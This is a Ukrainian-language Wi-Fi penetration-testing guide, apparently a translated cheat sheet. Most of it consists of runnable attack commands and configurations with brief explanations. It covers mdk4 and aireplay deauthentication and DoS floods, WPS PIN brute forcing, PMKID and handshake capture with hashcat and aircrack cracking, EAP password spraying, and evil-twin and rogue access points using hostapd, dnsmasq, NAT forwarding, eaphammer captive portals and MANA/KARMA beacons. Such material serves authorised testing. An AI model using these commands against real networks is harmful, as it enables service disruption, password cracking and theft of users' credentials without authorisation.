Пентестинг Wi-Fi мереж. Від основ до просунутих атак

Цей матеріал представляє собою всебічний посібник з тестування безпеки Wi-Fi мереж, де детально розкриваються різноманітні аспекти та методики, що можуть застосовуватися пентестерами для ідентифікації вразливостей у Wi-Fi мережах.

Основні команди Wi-Fi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

Інструменти

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

docker run \
          --rm \
          -ti \
          --name airgeddon \
          --net=host \
          --privileged \
          -p 3000:3000 \
          -v /tmp:/io \
          -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
          v1s1t0r1sh3r3/airgeddon

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0

Пакети роз’єднання

Пакети роз’єднання , подібні до пакетів деаутентифікації, є типом кадру керування, що використовується в мережах Wi-Fi. Ці пакети служать для розриву з’єднання між пристроєм (наприклад, ноутбуком або смартфоном) і точкою доступу (AP). Основна різниця між роз’єднанням і деаутентифікацією полягає в сценаріях їх використання. У той час як точка доступу видає пакети деавтентифікації для явного видалення шахрайських пристроїв з мережі, пакети роз’єднання зазвичай надсилаються, коли точка доступу закривається , перезапускається або переміщується, що вимагає відключення всіх підключених вузлів.

Ця атака може бути виконана за допомогою mdk4 (режим “d”):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them 
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

РЕЖИМ АТАКИ b: Затоплення маяка

Надсилає кадри-маяки, щоб показати клієнтам підроблені точки доступу. Іноді це може привести до збою мережевих сканерів і навіть драйверів!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

РЕЖИМ АТАКИ a: автентифікація, відмова в обслуговуванні

Надсилання кадрів автентифікації до всіх доступних точок доступу (AP) у межах діапазону може перевантажити ці AP, особливо коли задіяно багато клієнтів. Цей інтенсивний трафік може призвести до нестабільності системи, спричиняючи зависання або навіть скидання деяких точок доступу.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

РЕЖИМ АТАКИ p: Зондування SSID і підбір

Перевірка точок доступу (AP) перевіряє, чи належним чином виявлено SSID, і підтверджує діапазон точки доступу. Ця техніка в поєднанні з підбіром прихованих SSID зі списком слів або без нього допомагає ідентифікувати та отримувати доступ до прихованих мереж.

РЕЖИМ АТАКИ m: Майкл контрзаходи Експлуатація

Надсилання випадкових або повторюваних пакетів до різних черг QoS може викликати контрзаходи Майкла на точках доступу TKIP , що призведе до вимкнення точки доступу на одну хвилину. Цей метод є ефективною тактикою атаки DoS (відмова в обслуговуванні).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

РЕЖИМ АТАКИ e: EAPOL Start and Logoff Packet Injection

Заповнення точки доступу фреймами EAPOL Start створює підроблені сеанси , перевантажуючи точку доступу та блокуючи законних клієнтів. Крім того, впровадження фальшивих повідомлень про вихід із системи EAPOL примусово відключає клієнтів, обидва методи ефективно порушують роботу мережі.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

РЕЖИМ АТАКИ s: Атаки для сітчастих мереж IEEE 802.11s

Різноманітні атаки на керування зв’язками та маршрутизацію в mesh-мережах.

РЕЖИМ АТАКИ w: WIDS Confusion

Перехресне підключення клієнтів до кількох вузлів WDS або підроблених точок доступу може маніпулювати системами виявлення та запобігання вторгненням, створюючи плутанину та потенційне зловживання системою.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

РЕЖИМ АТАКИ f: Packet Fuzzer

Фазер пакетів, який містить різноманітні джерела пакетів і повний набір модифікаторів для маніпулювання пакетами.

Airggedon

Airgeddon пропонує більшість атак, запропонованих у попередніх коментарях:

WPS

WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, підвищуючи швидкість і легкість налаштування для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Це неефективно для безпеки WEP, яку легко зламати. WPS використовує 8-значний PIN-код, перевірений двома половинами, що робить його сприйнятливим до атак грубою силою через обмежену кількість комбінацій (11 000 можливостей).

WPS Bruteforce

Є 2 основні інструменти для виконання цієї дії: Reaver і Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot    
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

WPA/WPA2 PSK

PMKID

У 2018 році hashcat представив новий метод атаки, унікальний, оскільки для нього потрібен лише один пакет і не вимагається підключення будь-яких клієнтів до цільової точки доступу — лише взаємодія між зловмисником і точкою доступу.

Багато сучасних маршрутизаторів додають необов’язкове поле до першого кадру EAPOL під час асоціації, відоме як Robust Security Network. Це включає в себе PMKID.

Як пояснюється в оригінальній публікації, PMKID створюється з використанням відомих даних:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Враховуючи, що «PMK Name» є постійним, ми знаємо BSSID точки доступу та станції, і він PMKідентичний ідентифікатору повного 4-стороннього рукостискання, hashcat може використовувати цю інформацію, щоб зламати PSK і відновити парольну фразу!

Щоб зібрати цю інформацію та локально перевірити пароль, виконайте такі дії:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1

#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Зняті PMKID буде показано на консолі , а також збережено в _ /tmp/attack.pcap _ Тепер перетворіть запис у формат hashcat/john і зламайте його:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Будь ласка, зверніть увагу, що формат правильного хешу містить 4 частини , як-от:

4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 якщо ваш містить лише 3 частини , то він недійсний (запис PMKID недійсний).

Зауважте, що hcxdumptool також зніміть рукостискання (з’явиться щось на зразок цього: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити рукостискання у формат hashcat / john за допомогоюcap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Помітивши, що деякі рукостискання, зафіксовані за допомогою цього інструменту, неможливо зламати, навіть знаючи правильний пароль. Рекомендуемо зафіксувати рукостискання також традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту.

Зйомка рукостискання

Атака на мережі WPA/WPA2 може бути здійснена шляхом перехоплення рукостискання та спроби зламати пароль в автономному режимі . Цей процес передбачає моніторинг зв’язку певної мережі та BSSID на певному каналі . Ось спрощений посібник:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

./eaphammer --eap-spray \
    --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
    --essid example-wifi \
    --password bananas \
    --user-list users.txt

apt-get install dnsmasq #Manages DHCP and DNS

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

dnsmasq -C dnsmasq.conf -d

apt-get install hostapd

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Атака KARMA, MANA, Loud MANA та відомих маяків

Чорні/білі списки ESSID і MAC

Різні типи списків фільтрів керування доступом до медіа (MFACL) і їхні відповідні режими та вплив на поведінку шахрайської точки доступу (AP):

# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]

# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
 --bssid de:ad:be:ef:13:37 \
 --known-essids-file known-s.txt \
 --dst-addr 11:22:33:11:22:33 \
 --burst-count 5